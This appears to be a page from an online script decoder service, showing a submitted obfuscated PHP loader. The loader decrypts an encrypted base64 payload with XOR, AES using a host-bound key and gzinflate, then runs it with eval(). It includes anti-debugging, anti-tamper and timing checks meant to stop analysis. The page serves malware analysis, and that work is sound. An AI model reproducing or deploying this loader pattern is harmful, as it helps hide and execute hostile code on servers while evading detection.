Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



$D="t8piSBRexUVClUEqjzSxz3GTQ0g8sfhIZTZEAEDxyrc3tszfLpGlvWvCgWX7tWD96qJE+5rXNIZT4VWIv+T7EMT/d8JuX14+LvTOYN2BPTtVN9mB1OFhEFldZlXeu2pmG7kqF6FqB+OigrBuQ3pridH02+fRDqmspmxU1EfSoKd5QUXpWnrF1csgDIjZWHRh45sLfUiuxYm4uZ8YfmYC/D4ELwAv+zIGNu1SOVTSuJ4Kjsv8yMsUP5e+XhE6EAhJ6rjGPOvlIENWIosFom9JLBzCn5zo7x0fRzj3tolRNwq5oePrmD7XPxX3czx1DkL3X2wLYj4PKm0Uw5/uy7ExhyH5W3SNb0lWqxbxzjMNrcJxz7tuCRf2EVC41pSPP2bsJylEdrJGznZ1ivTyS72kQikWr4vQYXmwHZwE9ZFEMyEJCcUkajKRn/QS2QBJFeEJ8glFAVGEgByEfbN6GSnQ1+vc7bgpt954RKOYafUvt3kl39RSmhQcHoYsWFDiHVEugIAemfDCDIHSyHmxGHOuAuKtlmMNUbYzY1Cda4GLzya3e298sq8J86XprCR4NEgcsykXRiYb8NZG/CaVgJ94Hxg3qRB07rvVL8bXtom9KCFcsUx0FE4r6MNqn8BySkQYrREM9/2uprv/URdP9cLibiBoSyQjCsLTuW1Q28EZUPlqLILMVWuye3NqgYEXibzhQq/IMLK7WdzdICTng6yh6lzasHOY5an+JL2R+BHiodk=";$L="GLOBAL_V3";$H="c0f084bb520b603a30c436024ab168643569a5fdace9aa634e74906b8a283b28";

        $GLOBALS["_T"] = microtime(true);
        // Anti-Debug & Anti-Analysis
        if(extension_loaded("xdebug") || (function_exists("debug_backtrace") && count(debug_backtrace()) > 15)) { 
            die(base64_encode(random_bytes(2048))); 
        }
        
        // Bütünlük Kontrolü (Anti-Tamper)
        if(hash("sha256", $D.$L) !== $H) { exit("INTEGRITY_FAILURE"); }

        // Çözümleme Katmanları
        $k = hash("sha256", $L . php_uname("n"));
        $r = base64_decode($D);
        $iv = substr($r, 0, 16);
        $s = substr($r, 16);
        
        $u = "";
        for($i=0; $i<strlen($s); $i++) { $u .= chr(ord($s[$i]) ^ 0xAF); }
        
        $p = openssl_decrypt($u, "aes-256-cbc", $k, OPENSSL_RAW_DATA, $iv);
        $final = gzinflate($p);

        // Zamanlama Analizi (Step-Debug yapılıyorsa süre uzayacağı için çalışmayı durdurur)
        if($final && (microtime(true) - $GLOBALS["_T"]) < 1.5) {
            eval("".$final);
        } else {
            exit("Environment unsafe.");
        }



© 2023 Quttera Ltd. All rights reserved.